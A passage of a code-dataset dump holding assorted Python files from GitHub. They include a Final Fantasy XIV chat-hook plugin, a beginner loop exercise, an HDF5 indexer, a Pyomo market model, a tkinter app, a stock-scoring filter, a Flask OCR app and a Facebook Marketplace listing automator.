XivMemory.se_string import ChatLog, get_message_chain, group_message_chain\n            sender = group_message_chain(get_message_chain(bytearray(p_sender[0])))\n            msg = group_message_chain(get_message_chain(bytearray(p_msg[0])))\n            need_fix = False\n            for node in msg:\n                if node.Type == \"Interactable/Item\" and node.is_hq and node.is_collect:\n                    need_fix = True\n                    node._display_name = node.display_name + \"(fix)\"\n                    node.is_collect = False\n            if need_fix:\n                new_msg = StdString(b''.join(m.encode_group() for m in msg))\n                p_msg = cast(addressof(new_msg), POINTER(c_char_p))\n            sender_str = \"\".join(str(n) for n in sender)\n            msg_str = \"\".join(str(n) for n in msg)\n            self.logger(f\"({channel_id}/{sender_id:x}/{parm:x}){sender_str}:{msg_str}\")\n        except:\n            self.logger.error(traceback.format_exc())\n        return hook.original(manager, channel_id, p_sender, p_msg, sender_id, parm)\n\n    \"\"\"__int64 __fastcall sub_140715F30(__int64 a1, int a2, int a3)\"\"\"\n\n    @PluginHook.decorator(c_ubyte, [c_int64, c_int, c_int], True)\n    def b_channel_hook(self, hook, a1, a2, a3):\n        try:\n            self.logger(f\"{a1:x} {a2:x} {a3:x}\")\n        except:\n            self.logger.error(traceback.format_exc())\n            hook.uninstall()\n        return hook.original(a1, a2, a3)\n\n    \"\"\"\n    char __fastcall sub_140ACAFB0(__int64 *a1, _QWORD *a2, unsigned __int8 a3, int a4, int a5, unsigned __int8 a6, int a7)\n    \"\"\"\n\n    @PluginHook.decorator(c_ubyte, [c_int64, c_int64, c_ubyte, c_int, c_int, c_ubyte, c_int], True)\n    def interact_hook(self, hook, a1, a2, a3, a4, a5, a6, a7):\n        try:\n            self.logger(f\"{a1:x} {a2:x} {a3:x} {a4:x} {a5:x} {a6:x} {a7:x}\")\n        except:\n            self.logger.error(traceback.format_exc())\n            hook.uninstall()\n        return hook.original(a1, a2, a3, a4, a5, a6, a7)\n\n    @PluginHook.decorator(c_void_p, [c_int64, c_int64], True)\n    def mo_ui_entity(self, hook, a1, a2):\n        try:\n            self.a1 = a1\n            self.a2 = a2\n        except:\n            self.logger.error(traceback.format_exc())\n            hook.uninstall()\n        return hook.original(a1, a2)\n\n    \"\"\"\n    __int64 __fastcall sub_1402A8930(__int64 a1)\n    \"\"\"\n\n    @PluginHook.decorator(c_int64, [c_int64], True)\n    def cnt_down_hook(self, hook, a1):\n        res = hook.original(a1)\n        try:\n            new_update = perf_counter()\n            self.logger(f\"{a1:#x} {read_float(a1 + 40):.2f}\")\n            self.last_update = new_update\n        except:\n            self.logger.error(traceback.format_exc())\n            hook.uninstall()\n        return res\n","repo_name":"AutumnInSouth/FFxivPythonTrigger3","sub_path":"plugins/TestHook.py","file_name":"TestHook.py","file_ext":"py","file_size_in_byte":9506,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
{"seq_id":"16301704742","text":"#Voce recebera a quantidade que participantes da prova:\r\ncompetitor_n = int(input())\r\n\r\n#A pessoa que encontrar mais latinhas ganha a prova\r\ncans_s = 0 #o jogador comeca com zero latinhas\r\nwinner = \"\"\r\ncount = 1 #começamos a contar a partir daqui\r\n\r\nwhile count != competitor_n:\r\n  #Em seguida, receberá o nome de um competidor \r\n  #e depois quantidade de latinhas arrecadadas por ele, N vezes\r\n  player = input()\r\n  cans = int(input())\r\n  if cans > cans_s:\r\n    cans_s = cans \r\n    winner = player\r\n  count+=1\r\n  \r\nprint(f'{winner} e o novo anjo!')","repo_name":"wytoriaa/SI_UFPE_P1_2021.1","sub_path":"Lista 2 - Laços de Repetição/21.2L2Q0 - Coca-cola no BBB.py","file_name":"21.2L2Q0 - Coca-cola no BBB.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45050415305","text":"import argparse\nimport pandas as pd\nimport tables as tb\nfrom sumstats.api_v1.common_constants import *\nimport os\n\n\nclass H5Indexer():\n    def __init__(self, h5file):\n        self.h5file = h5file\n\n    def reindex_file(self):\n        print('indexing {}'.format(self.h5file))\n        with pd.HDFStore(self.h5file) as store:\n            try:\n                group = store.keys()[0]\n                print('key: {}'.format(group))\n                for i in TO_INDEX:\n                    print('indexing {}...'.format(i))\n                    self.create_index(i, group)\n                print('full index on position...')\n                self.create_cs_index(BP_DSET, group)\n            except IndexError as e:\n                print(e)\n                os.remove(self.h5file)\n                \n\n    def create_index(self, field, group):\n        with tb.open_file(self.h5file, \"a\") as hdf:\n            col = hdf.root[group].table.cols._f_col(field)\n            col.remove_index()\n            col.create_index(optlevel=6, kind=\"medium\")\n\n\n    def create_cs_index(self, field, group):\n        with tb.open_file(self.h5file, \"a\") as hdf:\n            col = hdf.root[group].table.cols._f_col(field)\n            col.remove_index()\n            col.create_csindex()\n\n    def reindex_trait_file(self):\n        with pd.HDFStore(self.h5file) as store:\n            group = store.keys()[0]\n            for i in TRAIT_FILE_INDEX:\n                self.create_index(i, group)\n\n\ndef main():\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument('-f', help='The path to the HDF5 file to be processed', required=True)\n    argparser.add_argument('-filetype', help='The type HDF5 file to be processed', default='sumstats', choices=['sumstats', 'trait_meta'], required=False)\n    args = argparser.parse_args()\n\n    file = args.f\n\n    indexer = H5Indexer(file)\n    if args.filetype == 'sumstats':\n        indexer.reindex_file()\n    if args.filetype == 'trait_meta':\n        indexer.reindex_trait_file()\n    \n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"eQTL-Catalogue/eQTL-SumStats","sub_path":"sumstats/api_v1/reindex.py","file_name":"reindex.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"40011789668","text":"from pyomo.core import *\n\n#\n# Model\n#\n\nmodel = AbstractModel()\n\n#\n# Parameters\n#\n\nmodel.I = Set()\nmodel.T1 = Set()\nmodel.T2 = Set()\nmodel.T3 = Set()\nmodel.T4 = Set()\nmodel.PRICEPOOL = Param(model.I, within=NonNegativeReals)\nmodel.PRICEDAYAHEADT1 = Param(within=PositiveReals)\nmodel.PRICEDAYAHEADT2 = Param(within=PositiveReals)\nmodel.PRICEDAYAHEADT3 = Param(within=PositiveReals)\nmodel.PRICEDAYAHEADT4 = Param(within=PositiveReals)\nmodel.DEMAND = Param(model.I)\n\n#\n# Variables\n#\n\nmodel.CONTRACTDAYAHEADT1 = Var(within=NonNegativeReals)\nmodel.CONTRACTDAYAHEADT2 = Var(within=NonNegativeReals)\nmodel.CONTRACTDAYAHEADT3 = Var(within=NonNegativeReals)\nmodel.CONTRACTDAYAHEADT4 = Var(within=NonNegativeReals)\nmodel.CONTRACTPOOL = Var(model.I, within=Reals)\n\n#\n# Constraints\n#\n\ndef LimitPoolContract_rulet1(model, T1):\n    if model.DEMAND[T1] >=0:\n        return model.CONTRACTDAYAHEADT1 + model.CONTRACTPOOL[T1] >= model.DEMAND[T1]\n    else:\n        return model.CONTRACTPOOL[T1] >= model.DEMAND[T1]\n\nmodel.LimitPoolContractt1 = Constraint(model.T1,rule=LimitPoolContract_rulet1)\n\ndef LimitPoolContract_rulet2(model, T2):\n    if model.DEMAND[T2] >=0:\n        return model.CONTRACTDAYAHEADT2 + model.CONTRACTPOOL[T2] >= model.DEMAND[T2]\n    else:\n        return model.CONTRACTPOOL[T2] >= model.DEMAND[T2]\n\nmodel.LimitPoolContractt2 = Constraint(model.T2,rule=LimitPoolContract_rulet2)\n\ndef LimitPoolContract_rulet3(model, T3):\n    if model.DEMAND[T3] >=0:\n        return model.CONTRACTDAYAHEADT3 + model.CONTRACTPOOL[T3] >= model.DEMAND[T3]\n    else:\n        return model.CONTRACTPOOL[T3] >= model.DEMAND[T3]\n\nmodel.LimitPoolContractt3 = Constraint(model.T3,rule=LimitPoolContract_rulet3)\n\ndef LimitPoolContract_rulet4(model, T4):\n    if model.DEMAND[T4] >=0:\n        return model.CONTRACTDAYAHEADT4 + model.CONTRACTPOOL[T4] >= model.DEMAND[T4]\n    else:\n        return model.CONTRACTPOOL[T4] >= model.DEMAND[T4]\n\nmodel.LimitPoolContractt4 = Constraint(model.T4,rule=LimitPoolContract_rulet4)\n\ndef LimitPoolContract_rulet5(model, i):\n    if model.DEMAND[i] >= 0:\n        return model.CONTRACTPOOL[i] >= 0\n    else:\n        return model.CONTRACTPOOL[i] <= 0\n\nmodel.LimitPoolContractt5 = Constraint(model.I,rule=LimitPoolContract_rulet5)\n\n\n#\n# Stage-specific cost computations\n#\n\ndef Stagecost_rule(model):\n    return model.CONTRACTDAYAHEADT1\n\nmodel.StageCost = Expression(rule=Stagecost_rule)\n\n\ndef Objective_rule(model):\n    return (model.CONTRACTDAYAHEADT1*model.PRICEDAYAHEADT1 + \n    \tmodel.CONTRACTDAYAHEADT2*model.PRICEDAYAHEADT2 + \n    \tmodel.CONTRACTDAYAHEADT3*model.PRICEDAYAHEADT3 +\n    \tmodel.CONTRACTDAYAHEADT4*model.PRICEDAYAHEADT4 +\n    \tsummation(model.PRICEPOOL,model.CONTRACTPOOL))\n\nmodel.OBJECTIVE = Objective(rule=Objective_rule,sense=minimize)\n","repo_name":"grei-ufc/market-pyomo","sub_path":"Stochastic/ReferenceModel.py","file_name":"ReferenceModel.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30446873366","text":"import requests\n\n#baseinfo\n#requests默认使用session对象，是为了在多次和服务器端交互中保留绘画的信息，例如cookies\nua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'\nregion_url = ['https://bbs.hupu.com/','https://nba.hupu.com/']\nsession = requests.Session()\n\nwith session:\n    for url in region_url:\n        response = session.get(url,headers={'User-Agent':ua})\n        with response:\n            print(type(response))\n            print(response.url)\n            print(response.status_code)\n            print(response.request.headers)\n            print(response.cookies)\n\n","repo_name":"Harden-13/crawler","sub_path":"request_session.py","file_name":"request_session.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"72418490919","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\n\r\nclass App(tk.Tk):\r\n    def __init__(self):\r\n        super().__init__()\r\n\r\n        self.title(\"Greeting App\")\r\n        self.geometry(\"400x300\")\r\n\r\n        self.input_frame = ttk.Frame(self, padding=(10, 10, 10, 10))\r\n        self.input_frame.pack(fill=tk.BOTH, expand=True)\r\n\r\n        self.display_frame = ttk.Frame(self, padding=(10, 10, 10, 10))\r\n        self.display_frame.pack(fill=tk.BOTH, expand=True)\r\n\r\n        self.name_var = tk.StringVar()\r\n        self.color_var = tk.StringVar()\r\n\r\n        name_label = ttk.Label(self.input_frame, text=\"Enter your name:\")\r\n        name_label.pack()\r\n\r\n        name_entry = ttk.Entry(self.input_frame, textvariable=self.name_var)\r\n        name_entry.pack()\r\n\r\n        color_label = ttk.Label(self.input_frame, text=\"Select a color:\")\r\n        color_label.pack()\r\n\r\n        color_option = ttk.Combobox(self.input_frame, textvariable=self.color_var, values=(\"red\", \"blue\", \"green\", \"yellow\", \"orange\", \"purple\"), state=\"readonly\")\r\n        color_option.pack()\r\n\r\n        update_button = ttk.Button(self.input_frame, text=\"Update Greeting\", command=self.update_greeting)\r\n        update_button.pack()\r\n\r\n        self.display_label = ttk.Label(self.display_frame, text=\"\")\r\n        self.display_label.pack()\r\n\r\n    def update_greeting(self):\r\n        name = self.name_var.get()\r\n        color = self.color_var.get()\r\n\r\n        if name:\r\n            greeting = f\"Hello, {name}! Nice to meet you!\"\r\n            self.display_label.config(text=greeting, foreground=color)\r\n        else:\r\n            self.display_label.config(text=\"\")\r\n\r\nif __name__ == \"__main__\":\r\n    app = App()\r\n    app.mainloop()","repo_name":"Joezxc/Advance-Programming-Chapters","sub_path":"Chapter3/Exercise1.py","file_name":"Exercise1.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22924780142","text":"from datetime import datetime\nclass Filter:\n    BAD = -20\n    WEAK = -7\n    NORMAL = 0\n    GOOD = 2\n    STRONG = 5\n    SUPER = 8\n    def __init__(self, current_buy_sell_status_dict, current_interval_buy_sell_status_dict):\n        self.__current_buy_sell_status_dict = current_buy_sell_status_dict\n        self.__current_interval_buy_sell_status_dict = current_interval_buy_sell_status_dict\n        self.__filter_name = [Filter.BAD, Filter.WEAK, Filter.NORMAL, Filter.GOOD, Filter.STRONG, Filter.SUPER]\n    \n    def score_level_to_string(self, score_level):\n        if score_level == Filter.BAD:\n            return \"BAD\"\n        if score_level == Filter.WEAK:\n            return \"WDEAK\"\n        if score_level == Filter.NORMAL:\n            return \"NORMAL\"\n        if score_level == Filter.GOOD:\n            return \"GOOD\"\n        if score_level == Filter.STRONG:\n            return \"STRONG\"\n        if score_level == Filter.SUPER:\n            return \"SUPER\"\n\n    def __get_key (self, is_real):\n        if is_real == True:\n            return \"real\"\n        return \"all\"\n\n    def __get_buy_sell_status (self, is_real, is_interval):\n        key = self.__get_key(is_real)\n        if is_interval == True:\n            buy_sell_status = self.__current_interval_buy_sell_status_dict[key][-1]  # 5mins\n        else:\n            buy_sell_status = self.__current_buy_sell_status_dict[key]\n        return buy_sell_status\n\n\n\n    def __scale (self, value, old_max, old_min, new_max, new_min):\n        old_range = (old_max - old_min)\n        new_range = (new_max - new_min)\n        new_value = (((value - old_min) * new_range) / old_range) + new_min\n        return new_value\n\n    def __filter_smaller (self, input, cmp_list):\n        if len (cmp_list) != len (self.__filter_name):\n            raise Exception(\"length of cmp and filter must be equal\")\n        for i in range (len (cmp_list)):\n            if input < cmp_list [i]:\n                if i == 0:\n                    return self.__filter_name[i]\n                return self.__scale(input, cmp_list [i], cmp_list[i-1], self.__filter_name[i], self.__filter_name[i-1])\n        return self.__filter_name[-1]\n\n\n    def buy_power_ratio (self, is_real, is_interval):\n        buy_sell_status =  self.__get_buy_sell_status(is_real, is_interval)\n        ratio = buy_sell_status.get_human_buy_ratio_power()\n\n        cmp_list = [0.6, 0.9, 1.1, 1.4, 2, 4]\n        ans = self.__filter_smaller(ratio, cmp_list)\n\n\n        #print (f\"buy power ration is {ans}\")\n        return ans\n\n\n    def avg_buy_per_code (self, is_real, is_interval):\n        buy_sell_status =  self.__get_buy_sell_status(is_real, is_interval)\n        per_code = buy_sell_status.get_average_buy_per_code_in_million_base()\n        cmp_list = [12, 18, 21, 25, 35, 55]\n        ans = self.__filter_smaller(per_code, cmp_list)\n        #print (f\"avg buy per code is {ans}\")\n        return ans\n\n\n    def human_buy_count (self, is_real, is_interval):\n        buy_sell_status =  self.__get_buy_sell_status(is_real, is_interval)\n        count = buy_sell_status.human_buy_count\n        time_duration_second = buy_sell_status.end_time_stamp - buy_sell_status.start_time_stamp\n        time_duration_minute = time_duration_second // 60\n        #print (is_interval, time_duration_minute)\n        if time_duration_minute <= 10:\n            cmp_list = [3, 10, 25, 40, 70, 150]\n        elif time_duration_minute <= 45:\n            cmp_list = [5, 25, 40, 100, 200, 300]\n        elif time_duration_minute <= 120:\n            cmp_list = [20, 60, 120, 300, 600, 800]\n        else:\n            cmp_list = [40, 90, 180, 450, 900, 1400]\n        ans = self.__filter_smaller(count, cmp_list)\n        #print (f\"human buyt count is {ans}\")\n        return ans\n\n\n    def trade_price (self):\n        buy_sell_status =  self.__get_buy_sell_status(False, False)\n        price_in_percent = buy_sell_status.trade_price_in_percent\n        price_in_rial = buy_sell_status.trade_price\n        if price_in_rial == buy_sell_status.max_day_price:\n            return -100000\n        domain = buy_sell_status.max_day_price_in_percent\n        low = Filter.WEAK\n        high = Filter.SUPER\n\n        y = (high-low)/(2*domain)\n        ans = price_in_percent*y +domain*y - high\n        ans = -ans\n        #print (f\"trade price is {ans}\")\n        return ans\n\n\n\n    def recent_to_board_buy_power_ratio(self):\n        recent_buy_sell = self.__get_buy_sell_status(is_real=False, is_interval=True)\n        board_buy_sell = self.__get_buy_sell_status(is_real=False, is_interval=False)\n        previous_board_buy_sell = board_buy_sell - recent_buy_sell\n        if previous_board_buy_sell.is_significant() == False: #first minutes of the bazzar\n            return Filter.NORMAL\n        previous_board_power = previous_board_buy_sell.get_human_buy_ratio_power()\n        recent_power = recent_buy_sell.get_human_buy_ratio_power()\n        input = recent_power / (previous_board_power + 0.0000000001)\n        cmp_list = [0.4, 0.6, 1, 1.3, 2.5, 5]\n        ans = self.__filter_smaller(input, cmp_list)\n        #print (f\"recent power is {ans}\")\n        return ans\n\n\n    def recent_to_board_vol(self):\n        recent_buy_sell = self.__get_buy_sell_status(is_real=False, is_interval=True)\n        board_buy_sell = self.__get_buy_sell_status(is_real=False, is_interval=False)\n        board_vol = board_buy_sell.vol\n        recent_vol = recent_buy_sell.vol\n        board_time = board_buy_sell.end_time_stamp - board_buy_sell.start_time_stamp\n        recent_time = recent_buy_sell.end_time_stamp - recent_buy_sell.start_time_stamp\n        input = (recent_vol / (board_vol+0.0000001))*(board_time/(recent_time+0.00000001))\n        cmp_list = [0.4, 0.6, 0.9, 1.3, 2.5, 5]\n        ans = self.__filter_smaller(input, cmp_list)\n        #print (f\"recent vol is {ans}\")\n\n        return ans\n\n    def __get_score (self):\n        is_real = False\n        is_interval = False\n        ans = 3*(self.human_buy_count(is_real, is_interval) + 1.5*self.avg_buy_per_code(is_real, is_interval) + \\\n              2*self.buy_power_ratio(is_real, is_interval))/4.5\n        is_interval = True\n        ans+= 3*((self.human_buy_count(is_real, is_interval) + 1.5*self.avg_buy_per_code(is_real, is_interval) + \\\n              2*self.buy_power_ratio(is_real, is_interval)))/4.5\n        ans += self.trade_price()\n        ans += self.recent_to_board_buy_power_ratio()\n        ans += self.recent_to_board_vol()\n        ans = ans / 9\n        return ans\n\n\n    def __get_score_level (slef, score):\n        if score >= Filter.STRONG:\n            return Filter.SUPER\n        if score >= Filter.GOOD+1.5:\n            return Filter.STRONG\n        if score >= Filter.NORMAL:\n            return Filter.GOOD\n        if score >= Filter.WEAK:\n            return Filter.NORMAL\n        else:\n            return Filter.WEAK\n\n\n    def get_total_strength (self):\n        score = self.__get_score()\n        score_level = self.__get_score_level(score)\n        #print (f\"total score is {score}\")\n        return score, score_level\n\n\n\n    def filter_event (self, is_real, is_interval):\n        key = self.__get_key(is_real)\n        #interval_list = self.__stock.interval_list_dict [key]\n        #TODO implement event detection on interval list.\n        return 0","repo_name":"morezian/advanced_hello_word","sub_path":"app/src/stock/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":7232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3788814163","text":"from flask import Flask, render_template, make_response\nfrom flask import redirect, request, jsonify, url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\n\nimport os, io\nimport uuid\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport numpy as np\nfrom base64 import b64encode\n\n\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n\nimport os, io\nfrom google.cloud import vision\nfrom google.cloud.vision_v1 import types\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom matplotlib.patches import Polygon\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = r'visionAPIkey.json'\n\napp = Flask(__name__)\napp.debug = True\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///usrData.db'\ndb = SQLAlchemy(app)\n\nclass Todo(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    text = db.Column(db.String(200), nullable=False)\n\n@app.route('/')\ndef index():\n    #title = 'Create the input'\n    return render_template('index.html')#, title=title)\n\n@app.route('/habitsDrag', methods=['GET', 'POST'])\ndef habitsDrag():\n    #title = 'Create the input'\n    return render_template('habitsDrag.html')#, title=title)\n\n@app.route(\"/f\", methods=[\"GET\", \"POST\"])\ndef f():\n    if request.method == \"POST\":\n        print(\"ANALYSING\")\n        if request.files:\n            image = request.files[\"image\"]\n            img = Image.open(image)\n            imgProcessed = Image.open(io.BytesIO(analyse(img)))\n            image_io = BytesIO()\n            imgProcessed.save(image_io, 'PNG')\n            dataurl = 'data:image/png;base64,' + b64encode(image_io.getvalue()).decode('ascii')\n            return render_template('f.html', image_data=dataurl)\n\n            return redirect(request.url)\n\n    return render_template(\"f.html\")\n\n@app.route('/habits', methods=['GET', 'POST'])\ndef habits():\n    if request.method == 'GET':\n        print(\"GETTING\")\n        return render_template('habits.html')\n    print(\"POSTING\")\n    global data\n    data = request.get_data()\n    print(type(data))\n    #print(request.get_json())\n    #print(request.json['imgDataJson'])\n    #return render_template('analysis.html', data=data)\n    return redirect(url_for('analysis'))\n\n@app.route('/analysis', methods=['GET', 'POST'])\ndef analysis():\n    img = request.files['imgInp']\n    img = Image.open(BytesIO(img))\n    analyse(img)\n    if request.method == 'GET':\n        print('rendering \"analysis\"')\n        return render_template('analysis.html', data=data)\n\n@app.route('/login', methods=['GET'])\ndef login():\n    return render_template('login.html')\n\n@app.route('/register', methods=['GET'])\ndef register():\n    return render_template('register.html')\n\n@app.route('/about', methods=['GET'])\ndef about():\n    return render_template('about.html')\n\n@app.route('/ideas', methods=['GET'])\ndef ideas():\n    return render_template('ideas.html')\n\n\n\n\n@app.route('/results/<uuid>', methods=['GET'])\ndef results(uuid):\n    title = 'Result'\n    data = get_file_content(uuid)\n    return render_template('layouts/results.html',\n                           title=title,\n                           data=data)\n\n@app.route('/postmethod', methods = ['POST'])\ndef post_javascript_data():\n    jsdata = request.form['canvas_data']\n    unique_id = create_csv(jsdata)\n    params = { 'uuid' : unique_id }\n    return jsonify(params)\n\ndef analyse(img): \n    client = vision.ImageAnnotatorClient()\n\n    img_byte_arr = io.BytesIO()\n    img.save(img_byte_arr, format='PNG')\n    img_byte_arr = img_byte_arr.getvalue()\n\n    # construct an iamge instance\n    image = types.Image(content=img_byte_arr)\n    response = client.text_detection(image=image)  # returns TextAnnotation\n\n\n    texts = response.text_annotations\n\n    fig = Figure()\n    output = io.BytesIO()\n    #plt.figure(figsize=(12, 20))\n    #plt.imshow(img)\n    for text in texts:    \n        vertices = [[vertex.x, vertex.y] for vertex in text.bounding_poly.vertices]\n        vertices.append(vertices[0]) #repeat the first point to create a 'closed loop'\n\n        xs, ys = zip(*vertices) #create lists of x and y values\n        plt.plot(xs,ys) \n    FigureCanvas(fig).print_png(output)\n    return output.getvalue()#, mimetype='image/png')\n    #plt.savefig()\n    #plt.show() # if you need...\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"advik-chau/hyt2022","sub_path":"sFlask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72276478759","text":"# Remove and then publish each listing\r\ndef update_listings(listings, type, scraper):\r\n\t# If listings are empty stop the function\r\n\tif not listings:\r\n\t\treturn\r\n\r\n\t# Check if listing is already listed and remove it then publish it like a new one\r\n\tfor listing in listings:\r\n\t\t# Remove listing if it is already published\r\n\t\tremove_listing(listing, type, scraper)\r\n\r\n\t\t# Publish the listing in marketplace\r\n\t\tpublish_listing(listing, type, scraper)\r\n\r\n\r\ndef remove_listing(data, listing_type, scraper) :\r\n\ttitle = generate_title_for_listing_type(data, listing_type)\r\n\tlisting_title = find_listing_by_title(title, scraper)\r\n\r\n\t# Listing not found so stop the function\r\n\tif not listing_title:\r\n\t\treturn\r\n\r\n\tlisting_title.click()\r\n\r\n\t# Click on the delete listing button\r\n\tscraper.element_click('div[aria-label=\"Delete\"]')\r\n\t\r\n\t# Click on confirm button to delete\r\n\tconfirm_delete_selector = 'div[aria-label=\"Delete listing\"] div[aria-label=\"Delete\"][tabindex=\"0\"]'\r\n\tif scraper.find_element(confirm_delete_selector, False, 3):\r\n\t\tscraper.element_click(confirm_delete_selector)\r\n\telse:\r\n\t\tconfirm_delete_selector = 'div[aria-label=\"Delete Listing\"] div[aria-label=\"Delete\"][tabindex=\"0\"]'\r\n\t\tif scraper.find_element(confirm_delete_selector, True, 3):\r\n\t\t\tscraper.element_click(confirm_delete_selector)\r\n\t\r\n\t# Wait until the popup is closed\r\n\tscraper.element_wait_to_be_invisible('div[aria-label=\"Your Listing\"]')\r\n\r\ndef publish_listing(data, listing_type, scraper):\r\n\t# Click on create new listing button\r\n\tscraper.element_click('div[aria-label=\"Marketplace sidebar\"] a[aria-label=\"Create new listing\"]')\r\n\t# Choose listing type\r\n\tscraper.element_click('a[href=\"/marketplace/create/' + listing_type + '/\"]')\r\n\r\n\t# Create string that contains all of the image paths separeted by \\n\r\n\timages_path = generate_multiple_images_path(data['Photos Folder'], data['Photos Names'])\r\n\t# Add images to the the listing\r\n\tscraper.input_file_add_files('input[accept=\"image/*,image/heif,image/heic\"]', images_path)\r\n\r\n\t# Add specific fields based on the listing_type\r\n\tfunction_name = 'add_fields_for_' + listing_type\r\n\t# Call function by name dynamically\r\n\tglobals()[function_name](data, scraper)\r\n\t\r\n\tscraper.element_send_keys('label[aria-label=\"Price\"] input', data['Price'])\r\n\tscraper.element_send_keys('label[aria-label=\"Description\"] textarea', data['Description'])\r\n\tscraper.element_send_keys('label[aria-label=\"Location\"] input', data['Location'])\r\n\tscraper.element_click('ul[role=\"listbox\"] li:first-child > div')\r\n\r\n\tnext_button_selector = 'div [aria-label=\"Next\"] > div'\r\n\tnext_button = scraper.find_element(next_button_selector, False, 3)\r\n\tif next_button:\r\n\t\t# Go to the next step\r\n\t\tscraper.element_click(next_button_selector)\r\n\t\t# Add listing to multiple groups\r\n\t\tadd_listing_to_multiple_groups(data, scraper)\r\n\r\n\t# Publish the listing\r\n\tscraper.element_click('div[aria-label=\"Publish\"]:not([aria-disabled])')\r\n\r\n\tif not next_button:\r\n\t\tpost_listing_to_multiple_groups(data, listing_type, scraper)\r\n\r\n\r\ndef generate_multiple_images_path(path, images):\r\n\t# Last character must be '/' because after that we are adding the name of the image\r\n\tif path[-1] != '/':\r\n\t\tpath += '/'\r\n\r\n\timages_path = ''\r\n\r\n\t# Split image names into array by this symbol \";\"\r\n\timage_names = images.split(';')\r\n\r\n\t# Create string that contains all of the image paths separeted by \\n\r\n\tif image_names:\r\n\t\tfor image_name in image_names:\r\n\t\t\t# Remove whitespace before and after the string\r\n\t\t\timage_name = image_name.strip()\r\n\r\n\t\t\t# Add \"\\n\" for indicating new file\r\n\t\t\tif images_path != '':\r\n\t\t\t\timages_path += '\\n'\r\n\r\n\t\t\timages_path += path + image_name\r\n\r\n\treturn images_path\r\n\r\n# Add specific fields for listing from type vehicle\r\ndef add_fields_for_vehicle(data, scraper):\r\n\t# Expand vehicle type select\r\n\tscraper.element_click('label[aria-label=\"Vehicle type\"]')\r\n\t# Select vehicle type\r\n\tscraper.element_click_by_xpath('//span[text()=\"' + data['Vehicle Type'] + '\"]')\r\n\r\n\t# Scroll to years select\r\n\tscraper.scroll_to_element('label[aria-label=\"Year\"]')\r\n\t# Expand years select\r\n\tscraper.element_click('label[aria-label=\"Year\"]')\r\n\tscraper.element_click_by_xpath('//span[text()=\"' + data['Year'] + '\"]')\r\n\r\n\tscraper.element_send_keys('label[aria-label=\"Make\"] input', data['Make'])\r\n\tscraper.element_send_keys('label[aria-label=\"Model\"] input', data['Model'])\r\n\r\n\t# Scroll to mileage input\r\n\tscraper.scroll_to_element('label[aria-label=\"Mileage\"] input')\t\r\n\t# Click on the mileage input\r\n\tscraper.element_send_keys('label[aria-label=\"Mileage\"] input', data['Mileage'])\r\n\r\n\t# Expand fuel type select\r\n\tscraper.element_click('label[aria-label=\"Fuel type\"]')\r\n\t# Select fuel type\r\n\tscraper.element_click_by_xpath('//span[text()=\"' + data['Fuel Type'] + '\"]')\r\n\r\n# Add specific fields for listing from type item\r\ndef add_fields_for_item(data, scraper):\r\n\tscraper.element_send_keys('label[aria-label=\"Title\"] input', data['Title'])\r\n\r\n\t# Scroll to \"Category\" select field\r\n\tscraper.scroll_to_element('label[aria-label=\"Category\"]')\r\n\t# Expand category select\r\n\tscraper.element_click('label[aria-label=\"Category\"]')\r\n\t# Select category\r\n\tscraper.element_click_by_xpath('//span[text()=\"' + data['Category'] + '\"]')\r\n\r\n\t# Expand category select\r\n\tscraper.element_click('label[aria-label=\"Condition\"]')\r\n\t# Select category\r\n\tscraper.element_click_by_xpath('//span[@dir=\"auto\"][text()=\"' + data['Condition'] + '\"]')\r\n\r\n\tif data['Category'] == 'Sports & Outdoors':\r\n\t\tscraper.element_send_keys('label[aria-label=\"Brand\"] input', data['Brand'])\r\n\r\ndef generate_title_for_listing_type(data, listing_type):\r\n\ttitle = ''\r\n\r\n\tif listing_type == 'item':\r\n\t\ttitle = data['Title']\r\n\r\n\tif listing_type == 'vehicle':\r\n\t\ttitle = data['Year'] + ' ' + data['Make'] + ' ' + data['Model']\r\n\r\n\treturn title\r\n\r\ndef add_listing_to_multiple_groups(data, scraper):\r\n\t# Create an array for group names by spliting the string by this symbol \";\"\r\n\tgroup_names = data['Groups'].split(';')\r\n\r\n\t# If the groups are empty do not do nothing\r\n\tif not group_names:\r\n\t\treturn\r\n\r\n\t# Post in different groups\r\n\tfor group_name in group_names:\r\n\t\t# Remove whitespace before and after the name\r\n\t\tgroup_name = group_name.strip()\r\n\r\n\t\tscraper.element_click_by_xpath('//span[text()=\"' + group_name + '\"]')\r\n\r\ndef post_listing_to_multiple_groups(data, listing_type, scraper):\r\n\ttitle = generate_title_for_listing_type(data, listing_type)\r\n\ttitle_element = find_listing_by_title(title, scraper)\r\n\r\n\t# If there is no add with this title do not do 